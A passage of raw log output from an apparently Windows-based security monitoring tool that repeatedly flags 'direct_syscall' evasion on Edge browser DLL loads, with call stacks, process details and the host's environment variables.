C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcdba2bd02 C:\Windows\System32\profapi.dll!Ordinal102|0x7ffcdba30128 C:\Windows\System32\profapi.dll!Ordinal113|0x7ffcdba2235a C:\Windows\System32\profapi.dll!?|0x7ffcdba2356e C:\Windows\System32\profapi.dll!Ordinal103|0x7ffcdba2260a C:\Windows\System32\profapi.dll!Ordinal103|0x7ffcdaeba22b C:\Windows\System32\userenv.dll!ExpandEnvironmentStringsForUserW|0x7ffcdc85361c C:\Windows\System32\shlwapi.dll!Ordinal464|0x7ffcd979abab C:\Windows\System32\windows.storage.dll!GetCurrentSessionId|0x7ffcd979a867 C:\Windows\System32\windows.storage.dll!GetCurrentSessionId|0x7ffcd979b807 C:\Windows\System32\windows.storage.dll!SHGetSpecialFolderPathW|0x7ffcd974fd62 C:\Windows\System32\windows.storage.dll!IsRemovableDevicePath|0x7ffcd974eea0 C:\Windows\System32\windows.storage.dll!IsRemovableDevicePath|0x7ffcd9750735 C:\Windows\System32\windows.storage.dll!SHGetFolderPathEx|0x7ffcd98340ec C:\Windows\System32\windows.storage.dll!PathIsEqualOrSubFolderOfKnownFolders|0x7ffcd97728e2 C:\Windows\System32\windows.storage.dll!SHDefExtractIconW|0x7ffcd97723ef C:\Windows\System32\windows.storage.dll!SHDefExtractIconW|0x7ffcd98470e5 C:\Windows\System32\windows.storage.dll!Ordinal2002|0x7ffcd975a35c C:\Windows\System32\windows.storage.dll!SHGetKnownFolderItem|0x7ffcc46fb42f C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc46fbc41 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc4724877 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc47257e2 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcdda4b686 C:\Windows\System32\SHCore.dll!SHTaskPoolQueueTask|0x7ffcc4723d43 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc47255ac C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc46fbd88 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc4722784 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc47226fe C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffc8e8f279e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f25e2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f2222 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f21aa C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ebaa5d1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e735042 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d752 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d6a6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05198 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4179090 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9745279 +0100 CET + Params: base_address➜ 7ffcddb80000, checksum➜ 7769948, default_address➜ 7ffcddb80000, file_path➜ C:\Windows\System32\shell32.dll, image_size➜ 7663616, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ffc8ed526e5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8fe05aa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc9b680e8d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7ffc8cf92fa0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf92e1c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf92db0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec3cdf C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec378d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec2704 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4179112 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9753427 +0100 CET + Params: base_address➜ 7ffcdc330000, checksum➜ 1524912, default_address➜ 7ffcdc330000, file_path➜ C:\Windows\System32\WinTypes.dll, image_size➜ 1486848, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9f977e C:\Windows\System32\ntdll.dll!RtlAnsiStringToUnicodeString|0x7ffcde9f794e C:\Windows\System32\ntdll.dll!RtlUTF8ToUnicodeN|0x7ffcde9e4f98 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ffc8ed526e5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8fe05aa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc9b680e8d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7ffc8cf92fa0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf92e1c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf92db0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec3cdf C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec378d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec2704 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4179205 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9780292 +0100 CET + Params: base_address➜ 7ffcdc9e0000, checksum➜ 513405, default_address➜ 7ffcdc9e0000, file_path➜ C:\Windows\System32\ws2_32.dll, image_size➜ 475136, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" 